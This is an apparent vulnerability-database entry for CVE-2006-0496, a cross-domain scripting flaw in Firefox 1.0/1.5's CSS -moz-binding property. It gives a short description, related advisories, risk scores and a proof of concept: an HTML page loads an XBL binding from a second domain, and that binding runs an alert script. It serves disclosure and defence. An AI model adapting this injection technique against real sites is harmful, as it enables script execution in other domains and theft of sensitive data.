Mozilla Firefox 1.0/1.5 XBL - MOZ-BINDING Property Cross-Domain Scripting

🗓️ 30 Jan 2006 00:00:00Reported by Chris ThomasType

Mozilla Firefox XBL Security Vulnerabilit

Reporter	Title	Published	Views	Family All 8
Tenable Nessus	Mozilla Firefox < 1.5.0.1 Multiple Vulnerabilities	2 Feb 200600:00	–	nessus
Check Point Advisories	Mozilla Browsers CSS moz-binding Cross Domain Scripting (CVE-2006-0496)	11 Oct 200900:00	–	checkpoint_advisories
CVE	CVE-2006-0496	1 Feb 200602:00	–	cve
Cvelist	CVE-2006-0496	1 Feb 200602:00	–	cvelist
NVD	CVE-2006-0496	1 Feb 200602:02	–	nvd
Prion	Cross site scripting	1 Feb 200602:02	–	prion
SUSE CVE	SUSE CVE-2006-0496	15 Feb 202306:16	–	susecve
UbuntuCve	CVE-2006-0496	1 Feb 200602:02	–	ubuntucve

source: https://www.securityfocus.com/bid/16427/info

Mozilla Firefox is prone to a security vulnerability that may let a Web page execute malicious script code in the context of an arbitrary domain.

The issue affects the '-moz-binding' property.


This could allow a malicious site to access the properties of a trusted site and facilitate various attacks including disclosure of sensitive information.

http://domain1/path/to/page.html :

<html>
<head>
<style>
body { -moz-binding: url("http://domain2/path/to/xbl.xml#xss"); }
</style>
</head>
<body>
</body>
</html>

http://domain2/path/to/xbl.xml :

<?xml version="1.0"?>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.org/1999/xhtml">

<binding id="xss">
<implementation>
<constructor>
alert("XBL XSS");
</constructor>
</implementation>
</binding>

</bindings>

28 Jul 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 24.3

EPSS0.02668